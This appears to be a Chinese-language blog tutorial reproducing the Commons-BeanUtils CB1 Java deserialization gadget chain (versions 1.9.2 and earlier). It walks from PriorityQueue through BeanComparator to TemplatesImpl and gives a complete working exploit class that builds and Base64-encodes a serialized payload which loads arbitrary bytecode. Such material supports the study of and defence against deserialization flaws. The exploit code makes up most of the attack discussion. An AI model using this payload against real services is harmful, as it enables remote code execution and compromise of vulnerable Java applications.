java 反序列化 cb1 复现
适用于common-BeanUtils版本1.9.2及以前.首先我们来看一看common-BeanUtils中提供的PropertyUtils.getProperty方法,这个方法是cb1链的核心.
Person.java
package CB;
public class Person {
private String name;
private int age;
public Person(String name,int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Bean.java
package CB;
import org.apache.commons.beanutils.PropertyUtils;
public class Bean {
public static void main(String[] args) throws Exception {
Person person = new Person("cike_y",18);
System.out.println(PropertyUtils.getProperty(person,"age"));
}
}
可以看到,PropertyUtils.getProperty可以自动调用属性的私有方法来返回属性的值.个人理解是这种用法有利于去实现运行时多态而设计的.
cb1链是在cc2链的基础上去改的,因此可以对比着去看.
TemplatesImpl
首先来看这个getOutputProteries方法.
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
可以看到他调用了newTransformer方法,也就是我们之前找的TemplatesImpl的出口.
BeanComparator
类比cc2中使用的TransfromingComparator类的compare方法,我们来看这个类的compare方法.
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
IllegalAccessException iae = var5;
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException var6) {
InvocationTargetException ite = var6;
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException var7) {
NoSuchMethodException nsme = var7;
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}
这里调用了getProperty方法.所以如果我们设置o2是一个恶意的TemplatesImpl对象,而this.property为outputProperties,那么就可以衔接上cc2的结尾.那么如何调用这个compare方法呢,可以继续使用cc2的老办法,使用PriorityQueue去实现.
PriorityQueue
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
还记得我们的cc2中分析过,这个compare方法传递给o2的是queue这个列表的第一个参数.在cc2中我们将这个参数设置为TrAXFilter.class,而在这里我们将其设为恶意的TemplatesImpl实例就行.因此得到了exp如下.
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cb1\\target\\classes\\org\\example\\Test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "size", 2);
setFieldValue(queue, "queue", new Object[]{templates, null});
serialize(queue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos2 = new ObjectOutputStream(bos);
oos2.writeObject(obj);
byte[] buf = bos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(buf));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结得出利用链:
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()

浙公网安备 33010602011771号